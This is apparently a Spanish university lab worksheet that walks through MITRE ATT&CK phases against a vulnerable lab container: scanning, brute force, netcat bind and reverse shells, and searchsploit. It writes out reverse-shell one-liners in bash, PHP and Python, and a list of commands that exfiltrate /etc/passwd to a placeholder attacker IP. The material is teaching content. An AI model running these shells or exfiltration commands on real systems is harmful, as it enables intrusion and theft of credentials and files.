# Bloque 1: MITRE ATT&CK fase 3. TA0001 Initial Access

## Ejercicio L11B1\_NMAPMSF: NMap y Metasploit Framework (MSF)

Cargar los resultados XML de un análisis nmap que hubieras hecho anteriormente e inspeccionarlos con MSF

• Vete al directorio con los resultados del análisis en formato .xml que guardaste anteriormente

• Ejecuta Metaspolit Framework ejecutando estos tres comandos (ignorar advertencias)

o Inicia la base de datos de MSF: service postgresql start

o Inicia MSF: msfdb init

o Arranca la consola de MSF: msfconsole -q

Ahora puedes utilizar los siguientes comandos

• db\_import: Importa una salida de un análisis nmap ya hecho en formato XML, actualizando los hosts conocidos en una sesión de MSF.

• db\_nmap: es el propio nmap (podemos usarlo con todos los scripts, parámetros y características que hemos visto). Si se utiliza así, los resultados de su análisis actualizan cualquier resultado de análisis anterior que tengamos (incluso cargado a través de un archivo XML), por lo que se almacenará la nueva información descubierta sobre hosts, IPs, puertos, versiones, etc.

• hosts: mostrará los hosts identificados (máquinas).

• hosts -c address,purpose (u otros nombres de columna): Los hosts identificados se muestran con una serie de columnas de datos. Este comando solo muestra aquellas que pueden sernos interesantes en un momento dado. • hosts -u: Mostrará sólo hosts "vivos" en el último análisis realizado.

• services: Mostrará todos los servicios identificados en todos los hosts escaneados.

• services -p 80: Idéntico a los anteriores, pero sólo para los puertos indicados.

• services -p tcp: Ídem, pero para los protocolos indicados.

## Ejercicio L11B1\_DIRB: Enumerar posibles archivos ocultos con información interesante (T1190. Exploit Public-Facing Application)

Utiliza la herramienta dirb instalada en el contenedor de ataque y este cheatsheet para localizar archivos potenciales que no están enlazados en la web, pero que pueden contener información "jugosa".

Imagen que contiene Tabla

Descripción generada automáticamente

## Ejercicio L11B1\_SMB: Exfiltración a través de directorios compartidos por SMB (T1190. Exploit Public-Facing Application)

## Ejercicio L11B1\_CEWL: Diccionarios de contraseñas de palabras comunes contra objetivos concretos (1078. Valid Accounts)

vamos a generar una lista de palabras personalizada a partir del contenido de la página web de una víctima.

puedes acceder a esta página web "víctima" en el contenedor Kali vulnerable así: http://172.116.0.3/eii/ (por favor incluye el último /).

Interfaz de usuario gráfica, Aplicación

Descripción generada automáticamente

## Ejercicio L11B1\_NMAPBRUTE: Fuerza bruta en línea con Nmap (1078. Valid Accounts)

Con la lista de palabras generada anteriormente, usa nmap y su NSE Script Engine para encontrar scripts adecuados para atacar a través por fuerza bruta a servicios activos en la máquina vulnerable que aceptan usuarios / contraseñas. Para facilitar el trabajo, sigue estos pasos:

• Examina el contenedor vulnerable para encontrar servicios, como se hizo en laboratorios anteriores.

• Localiza los scripts NSE adecuados que utilicen técnicas de fuerza bruta contra ellos (vete al directorio /usr/share/nmap/scripts).

• Usa el hecho de que sabemos que un usuario válido en el sistema remoto es remotessiuser

• Examina la documentación del script para iniciar el ataque con la lista de palabras generada contra los servicios.

• Obtén la contraseña y comprueba que puedes acceder al servicio.

# Bloque 2: MITRE ATT&CK fase 4. TA0002 Execution

## Ejercicio L11B2\_NETCAT: Netcat como herramienta de escucha (TA1059. Command and Scripting Interpreter)

nc -lvp <puerto> pones a escuchar netcat y le envias peticiones haciendo un telnet a cualquier combinación <ip> <puerto>

## Ejercicio L11B2\_BINDSHELL: Bind shell con netcat (TA1059. Command and Scripting Interpreter)

Imagen que contiene Interfaz de usuario gráfica

Descripción generada automáticamente

Diagrama

Descripción generada automáticamente

## Ejercicio L11B2\_REVERSESHELL: Reverse shell con netcat (TA1059. Command and Scripting Interpreter)

Diagrama

Descripción generada automáticamente

## Ejercicio L11B2\_REVERSESHELLNONC: Reverse shell sin netcat (TA1059. Command and Scripting Interpreter)

• Bash reverse shell: bash -i >& /dev/tcp/<IP maquina atacante>/8000 0>&1

• PHP reverse shell: Ejecutar esto desde la línea de comandos: php -r ‘$sock=fsockopen(“<IP maquina atacante>”,8000);exec(“/bin/sh -i <&3 >&3 2>&3”);’

• Python reverse Shell: python -c 'import socket,subprocess,os;s=socket.socket (socket.AF\_INET,socket.SOCK\_STREAM);s.connect((“<IP maquina atacante>”,8000)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call( ["/bin/sh","-i"]);’

## Ejercicio L11B2\_SEARCHPLOIT: Searchploit (T1203. Exploitation for Client Execution)

localizar exploits disponibles de una vulnerabilidad conocida gracias a searchploit

Aplicación, Word

Descripción generada automáticamente con confianza media

Para hacerlo tienes que:

• Identificar los servicios y sus versiones en el equipo remoto.

• Buscar si hay algún servicio y versión vulnerables.

• Buscar el EDB-ID del exploit en tú sistema local (el nombre/número de exploit).

• Localizar dónde está el código de exploit correspondiente.

• Inspeccionar el código y pensar qué debes hacer para arrancarlo.

• Buscar el exploit equivalente en https://www.exploit-db.com (la versión web de esta herramienta) y ver la información que proporciona.

# Bloque 3: MITRE ATT&CK fase 9-10: TA0009. Collection / TA0010. Exfiltration

• Usa los comandos que te damos a continuación para exfiltrar el archivo /etc/passwd del contenedor vulnerable al contenedor de ataque. Hazte root en la máquina vulnerable para hacer estas pruebas (sudo su)

• La mayoría de ellos requiere un Netcat a la escucha en un puerto de la máquina atacante (nc -lvp ). Ten cuidado con el puerto que utilizas para poner nc a escuchar, ya que distintas herramientas pueden usar distintos puertos (mira cuáles en las transparencias de teoría).

• Algunos de los comandos pueden mostrar errores, pero puedes ignorarlos si los datos se filtran de todos modos.

Comandos para probar como fuentes de exfiltración:

• Wget: wget --post-file=/etc/passwd <IP atacante> (el atacante escucha en el puerto 80)

• Whois: whois -h <IP atacante> -p 43 `cat /etc/passwd` (el atacante escucha en el puerto 43)

• Bash: bash -c 'echo -e "POST / HTTP/0.9\n\n$(</etc/passwd)" > /dev/tcp/<IPatacante>/8000’ (el atacante escucha en el puerto 79)

• Openssl (cuidado con este comando, el atacante debe realizar dos operaciones para exfiltrar datos correctamente):

openssl s\_client -quiet -connect <IP atacante>:8000 < "/etc/passwd"

o El atacante escribe:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s\_server -quiet -key key.pem -cert cert.pem -port 8000 > passwd

• Nc: nc -lvp 8000 < fichero\_privado.txt (el atacante escribe nc <IP víctima> 8000 > datos\_robados.txt)

• Curl: curl -X POST -d @data.txt <IP atacante> (el atacante escribe nc -lvp 80 > data.txt)

• Finger: finger "$(cat /etc/passwd)@<IP atacante>" (el atacante escucha en el puerto 79)

• Php: php -S 0.0.0.0:8080 (el atacante escribe: wget <IP víctima>:8080/data.txt)

Texto

Descripción generada automáticamente